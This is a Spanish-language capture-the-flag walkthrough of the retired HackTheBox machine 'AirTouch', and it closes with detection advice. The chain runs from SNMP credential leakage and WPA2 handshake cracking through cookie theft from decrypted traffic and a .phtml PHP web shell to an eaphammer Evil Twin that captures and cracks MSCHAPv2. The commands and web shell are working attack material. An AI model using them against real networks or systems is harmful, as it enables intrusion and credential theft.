Skip to content
cyberknight / 91
HackTheBox Hard Linux 11 May 2026 · ~6 min

AirTouch

Cadena de 22 pasos desde SNMP débil hasta root. Enumeración clásica, entorno Docker con interfaces WiFi virtuales (mac80211_hwsim), cracking de handshake WPA2-PSK, descifrado de tráfico para robar cookies de sesión, RCE vía .phtml en panel de router, y compromiso Enterprise con Evil Twin + MSCHAPv2 + hashcat.

View on HackTheBox

Resumen

AirTouch es una máquina Linux de dificultad alta centrada en hacking WiFi en tres capas: enumeración clásica (nmap, SNMP), ataques sobre WPA2-PSK (handshake, deauth, aircrack-ng, airdecap-ng) y ataques sobre WPA-Enterprise (Evil Twin con eaphammer, captura PEAP-MSCHAPv2, hashcat modo 5500). La máquina muestra que el hacking WiFi no se limita a capturar un handshake: cada paso entrega un fragmento de información que abre la siguiente puerta.


Reconocimiento

Escaneo TCP

nmap -p- --open -sS --min-rate 5000 -Pn -n 10.10.X.X -oG allports.txt
# Puerto relevante: 22/tcp (SSH)

Escaneo UDP

nmap -sU --top-ports 200 10.10.X.X
# Puerto relevante: 161/udp (SNMP)

UDP suele ignorarse en enumeraciones rápidas. En este caso contiene la pista crítica.


SNMP — Community string débil

onesixtyone

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.X.X
# Resultado: community string "public" válida

snmpwalk — filtrado de contraseña

snmpwalk -v2c -c public 10.10.X.X

El campo sysDescr contiene una contraseña en texto claro. public es el valor por defecto más conocido de SNMP; si el servicio está expuesto sin cambiarla, cualquier consulta devuelve información del sistema que nunca debería estar accesible.


Acceso inicial — SSH como consultant

ssh [email protected]
# Password: <obtenida de sysDescr>

El puerto SSH no era vulnerable por sí solo. SNMP entregó la credencial que faltaba — primer encadenamiento.


Entorno Docker y interfaces WiFi virtuales

Dentro del sistema hay un entorno Docker con interfaces wlan0 a wlan6. Estas interfaces son virtuales gracias a mac80211_hwsim, un módulo del kernel Linux que simula radios WiFi sin hardware físico. Esto permite practicar ataques inalámbricos dentro de un laboratorio controlado.


Fase WiFi — WPA2-PSK (AirTouch-Internet)

Detección de redes y clientes

airodump-ng wlan0

Se identifican dos objetivos:

SSIDCifradoNota
AirTouch-InternetWPA2-PSKRed doméstica / compartida
AirTouch-OfficeWPA-EnterpriseRed corporativa (clientes buscándola)

Tres clientes están haciendo probe requests hacia AirTouch-Office. Este detalle anticipa la fase Enterprise.

Captura de handshake WPA2-PSK

# Monitorizar en el canal de AirTouch-Internet
airodump-ng -c <canal> --bssid <BSSID> -w captura wlan0

# Forzar reconexión con deauth (acelera la captura)
aireplay-ng --deauth 5 -a <BSSID> wlan0

El deauth no rompe la contraseña — obliga al cliente a reautenticarse para capturar el 4-way handshake, que puede verificarse offline.

Cracking con aircrack-ng

aircrack-ng -w /usr/share/wordlists/rockyou.txt captura.cap
# Contraseña: challenge

WPA2-PSK depende completamente de la fortaleza de la clave. Con un diccionario y un handshake capturado, el ataque es offline y no toca el AP de nuevo.

Conexión a la red

# wpa_supplicant.conf
network={
  ssid="AirTouch-Internet"
  psk="challenge"
}

wpa_supplicant -B -i wlan1 -c wpa_supplicant.conf
dhclient wlan1
# IP asignada: 192.168.3.23

Robo de cookies — airdecap-ng

Con la PSK conocida y presencia en la red, se captura tráfico de otro cliente y se descifra:

airdecap-ng -e "AirTouch-Internet" -p challenge captura.cap

En el tráfico aparece:

Cookie: PHPSESSID=<valor>; UserRole=admin

La combinación de PSK conocida + handshake del cliente permite derivar las claves de sesión y descifrar su tráfico WPA2.


RCE en el router (192.168.3.1)

Acceso al panel como admin

La cookie robada (PHPSESSID + UserRole=admin) se reutiliza contra http://192.168.3.1. La aplicación confía en el estado de sesión sin protecciones adicionales.

File upload bypass — .phtml

El panel expone una funcionalidad de subida de archivos. El filtro bloquea .php pero no .phtml. El servidor ejecuta ambas extensiones como PHP:

<?php system($_GET['cmd']); ?>
# Subir shell.phtml desde el panel
# Invocar: http://192.168.3.1/uploads/shell.phtml?cmd=id
# Resultado: www-data

Credenciales en login.php

curl "http://192.168.3.1/uploads/shell.phtml?cmd=cat+/var/www/html/login.php"
# user:JunDRDZKHDnpkpDDvay

SSH al router — escalada a root

ssh [email protected]
# Password: JunDRDZKHDnpkpDDvay
sudo su
cat ~/user.txt

Pivoting — send_certs.sh y red Enterprise

cat /root/send_certs.sh
# Revela: credenciales remote:xGgWEwqUpfoOVsLeROeG → 10.10.10.1
# También: certs-backup con certificados de AirTouch-Office

La red corporativa que los clientes buscaban está en el segmento 10.10.10.0/24.


Fase WiFi — WPA-Enterprise (AirTouch-Office)

Evil Twin con eaphammer

eaphammer \
  --ssid AirTouch-Office \
  --interface wlan3 \
  --bssid ac:8b:a9:aa:3f:d2 \
  --channel 44 \
  --band 5GHz \
  --auth peap \
  --creds

Un punto de acceso falso con el mismo SSID que AirTouch-Office. Los clientes que ya buscaban esa red intentan autenticarse. Si no validan el certificado del servidor correctamente, el intercambio cae en nuestra trampa.

Captura MSCHAPv2

Usuario capturado: AirTouch\r4ulcl

PEAP crea un túnel TLS, pero el interior es MSCHAPv2 — un reto/respuesta crackeable offline si el cliente acepta nuestro servidor falso.

Cracking con hashcat

hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt
# Contraseña: laboratory

Modo 5500 corresponde a NetNTLMv1 / MSCHAPv2.

Conexión a AirTouch-Office

# wpa_enterprise.conf
network={
  ssid="AirTouch-Office"
  key_mgmt=WPA-EAP
  eap=PEAP
  identity="AirTouch\\r4ulcl"
  password="laboratory"
  phase2="auth=MSCHAPV2"
}

wpa_supplicant -B -i wlan6 -c wpa_enterprise.conf
dhclient wlan6
# IP: 10.10.10.38

Compromiso final — root.txt

# SSH al host interno con credenciales del router
ssh [email protected]
# Password: xGgWEwqUpfoOVsLeROeG

# Credenciales admin en archivo EAP
cat hostapd_wpe.eap_user
su admin

sudo su
cat /root/root.txt

Kill Chain

#FaseTécnicaResultado
1Recon TCPnmap -p- -sS22/SSH
2Recon UDPnmap -sU161/SNMP
3SNMPonesixtyone + community publicContraseña en sysDescr
4FootholdSSH como consultantShell inicial
5Enum WiFiairodump-ngAirTouch-Internet (PSK) + AirTouch-Office (Enterprise)
6Handshakedeauth + captura4-way handshake WPA2-PSK
7PSK crackaircrack-ng + rockyouPSK: challenge
8Red internawpa_supplicant + dhclientIP 192.168.3.23
9Cookie theftairdecap-ng + análisis tráficoPHPSESSID + UserRole=admin
10Panel routerCookie reutilizada en 192.168.3.1Acceso como admin
11RCEUpload .phtmlShell www-data
12Cred leakcat login.phpuser:JunDRDZKHDnpkpDDvay
13Router rootSSH + sudoroot en router · user.txt
14Pivotsend_certs.shCreds Enterprise + certs
15Evil Twineaphammer PEAPMSCHAPv2 capturado
16Enterprise crackhashcat -m 5500Password: laboratory
17AirTouch-Officewpa_supplicant PEAPIP 10.10.10.38
18SSH interno[email protected]Acceso segmento Enterprise
19PrivEschostapd_wpe.eap_usersu admin → sudoRoot · root.txt

Lecciones

TécnicaMITRE ATT&CK
SNMP Community String WeakT1046
Network Sniffing (airdecap-ng)T1040
Session Hijacking via CookieT1539
File Upload Bypass (.phtml)T1190
Evil Twin / Rogue APT1557
MSCHAPv2 Offline CrackingT1110.002
Credential in FilesT1552.001

Detección: Monitorizar SNMP con community strings por defecto (alertar sobre public/private en producción). Validar certificados de servidor en clientes WPA-Enterprise para prevenir Evil Twin. Filtrar subidas por contenido real (magic bytes), no solo por extensión. Usar cookies con flag Secure + HttpOnly y renovar sesión tras autenticación. Nunca almacenar contraseñas en texto plano en archivos PHP.

htb-airtouch.md
hacker@cyberknight $ stat htb-airtouch.md
machine : AirTouch
os : Linux
difficulty: Hard
published: 11 May 2026
words : 1232
read : ~6 min
hacker@cyberknight $ tags --list
#WiFi #WPA2-PSK #WPA-Enterprise #SNMP #Evil-Twin #MSCHAPv2 #eaphammer #aircrack-ng #hashcat #PEAP #Docker #RCE #file-upload
hacker@cyberknight $ echo $STATUS
[OK] retired · safe to publish
hacker@cyberknight $
all write-ups
#WiFi#WPA2-PSK#WPA-Enterprise#SNMP#Evil-Twin#MSCHAPv2#eaphammer#aircrack-ng#hashcat#PEAP#Docker#RCE#file-upload